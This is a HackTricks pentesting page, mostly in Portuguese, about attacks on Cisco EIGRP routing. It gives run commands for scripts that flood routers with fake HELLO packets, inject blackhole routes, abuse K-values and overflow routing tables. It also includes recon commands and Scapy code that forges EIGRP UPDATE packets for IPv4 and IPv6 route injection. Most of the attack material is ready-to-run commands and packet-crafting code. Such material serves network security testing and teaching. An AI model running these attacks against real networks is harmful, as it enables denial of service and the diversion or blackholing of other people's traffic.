EIGRP Attacks
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Este é um resumo dos ataques expostos em https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Consulte-o para mais informações.
Fake EIGRP Neighbors Attack
- Objetivo: Sobrecarregar as CPUs dos roteadores enchendo-os com pacotes HELLO do EIGRP, potencialmente levando a um ataque de Negação de Serviço (DoS).
- Ferramenta: script helloflooding.py.
- Execução:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parâmetros:
--interface: Especifica a interface de rede, por exemplo,eth0.--as: Define o número do sistema autônomo EIGRP, por exemplo,1.--subnet: Define a sub-rede, por exemplo,10.10.100.0/24.
EIGRP Blackhole Attack
- Objetivo: Interromper o fluxo de tráfego da rede injetando uma rota falsa, levando a um blackhole onde o tráfego é direcionado para um destino inexistente.
- Ferramenta: script routeinject.py.
- Execução:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parâmetros:
--interface: Especifica a interface do sistema do atacante.--as: Define o número do AS do EIGRP.--src: Define o endereço IP do atacante.--dst: Define o IP da sub-rede alvo.--prefix: Define a máscara do IP da sub-rede alvo.
Abusing K-Values Attack
- Objetivo: Criar interrupções contínuas e reconexões dentro do domínio EIGRP injetando K-values alterados, resultando efetivamente em um ataque DoS.
- Ferramenta: script relationshipnightmare.py.
- Execução:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parâmetros:
--interface: Especifica a interface de rede.--as: Define o número do AS do EIGRP.--src: Define o endereço IP de um roteador legítimo.
Routing Table Overflow Attack
- Objetivo: Sobrecarregar a CPU e a RAM do roteador inundando a tabela de roteamento com inúmeras rotas falsas.
- Ferramenta: script routingtableoverflow.py.
- Execução:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parâmetros:
--interface: Especifica a interface de rede.--as: Define o número do AS do EIGRP.--src: Define o endereço IP do atacante.
Notas de Protocolo Úteis para Ataques
- Pacotes HELLO carregam K-values e vizinhos só se formam quando correspondem. Esta é a base para ataques de mismatched K-values / interrupção de relacionamento e por que K-values incompatíveis impedem adjacência.
- O PARAMETER TLV (Type 0x0001) em HELLO (e no UPDATE inicial) carrega K-values e Hold Time, então capturas passivas revelam os valores exatos usados no segmento.
- EIGRP usa o protocolo IP 88, fazendo multicast para 224.0.0.10 em IPv4 e FF02::A em IPv6. Isso facilita identificá-lo com
tcpdump 'ip proto 88 or ip6 proto 88'antes de tentar abuso ativo. - UPDATEs confiáveis são ordenados com campos de sequência / acknowledgement e SEQUENCE TLVs. A injeção cega de rotas por multicast pode funcionar em laboratórios fracos, mas ao emular um vizinho real você frequentemente precisa rastrear
seq,acke a lista de peers carregada nos SEQUENCE TLVs para permanecer sincronizado com a lógica RTP.
Recon Passivo Antes da Injeção
Antes de tentar injetar rotas, capture uma troca legítima HELLO / UPDATE e extraia:
- Número do AS
- K-values e Hold Time do PARAMETER TLV
- Autenticação em uso: nenhuma, MD5, ou HMAC-SHA-256
- Endereço de origem do vizinho e a sub-rede/interface onde o EIGRP está ativo
- Perfil de Software / TLV (
SOFTWARE_VERSION,STUB,SEQUENCE) para que seus pacotes forjados pareçam com os roteadores locais
Comandos úteis:
# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'
# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery
# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100
O broadcast-eigrp-discovery do Nmap funciona enviando um HELLO para 224.0.0.10 e analisando os pacotes UPDATE retornados, o que é útil para enumerar prefixos antes de tentar uma route injection mais intrusiva.
Criação de Pacotes com Scapy (Route Injection / Fake Neighbors)
O Scapy inclui uma camada contrib EIGRP com TLVs como EIGRPParam e EIGRPIntRoute, o que é suficiente para criar UPDATEs para route injection. Exemplo adaptado do script de route injection EIGRP davidbombal/scapy:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
The same repo includes quick “fake neighbor” scripts that sniff a real EIGRP packet and replay it with a spoofed source IP to create phantom neighbors (useful for CPU/neighbor-table pressure).
Scapy also exposes primitives that are useful when you need higher-fidelity emulation instead of a single UPDATE:
EIGRPAuthDatapara adjacências autenticadasEIGRPSeqpara manipulação de sequence / conditional-receiveEIGRPStubpara espelhar o comportamento de stub observadoEIGRPv6IntRoute/EIGRPv6ExtRoutepara injeção de rotas IPv6
Isso importa porque a lógica de transporte confiável é frequentemente o que separa um PoC descartável de um fake neighbor que sobrevive tempo suficiente para aprender rotas e envenenar a topologia.
EIGRP para IPv6
EIGRP para IPv6 é uma address-family separada transportada sobre IPv6. Ainda usa o formato de pacote EIGRP / TLVs, mas é habilitado diretamente nas interfaces e envia multicast para FF02::A. Do ponto de vista ofensivo, isso significa que um segmento dual-stack pode expor uma superfície de ataque EIGRP mesmo quando o lado IPv4 parece limpo.
Importantes diferenças:
- IPv6 EIGRP is enabled per interface (
ipv6 eigrp <as>), not with IPv4-stylenetworkstatements. - A router ID is still required, so sniffing an active segment usually reveals enough context to mimic a valid peer.
- MD5 authentication exists for EIGRP for IPv6, and modern named mode deployments may also use HMAC-SHA-256, which blocks unauthenticated route injection.
Minimal Scapy example for IPv6 route injection:
from scapy.all import *
load_contrib("eigrp")
send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")
Se o next hop IPv6 dentro do route TLV for zerado, os receptores recorrem ao endereço IPv6 de origem no cabeçalho do pacote. Isso torna source spoofing e o endereçamento link-local correto especialmente importantes durante testes de EIGRPv6.
- Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Exemplos de scripts: https://github.com/davidbombal/scapy
Routopsy & Auxiliares do NSE
- Routopsy constrói um laboratório de ataque com roteador virtual (FRRouting + Scapy) e inclui ataques DRP que você pode adaptar para testes de EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- O NSE do Nmap tem uma pequena biblioteca
eigrppara analisar/gerar um subconjunto de pacotes EIGRP. https://nmap.org/nsedoc/lib/eigrp.html
Reconhecimento de Autenticação
- O modo named do EIGRP suporta HMAC-SHA-256 authentication via
authentication mode hmac-sha-256 .... Se habilitado, pacotes forjados devem ser autenticados com a chave correta; se não estiver habilitado, spoofing/injection é mais fácil de validar. - O RFC 7868 também define dados de MD5 e SHA2-256 authentication dentro do EIGRP AUTH TLV, por isso capturas passivas mostram rapidamente se um blind spoof é realista ou se primeiro você precisa do material de chave.
- No EIGRP para IPv6, a Cisco também suporta MD5 authentication with key chains. Se múltiplas chaves com send/accept lifetimes estiverem configuradas, replaying stale authenticated traffic se torna menos confiável porque a chave ativa pode rotacionar sem alterar o resto do perfil de adjacency.
Referências
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
- https://nmap.org/nsedoc/scripts/broadcast-eigrp-discovery.html
- https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


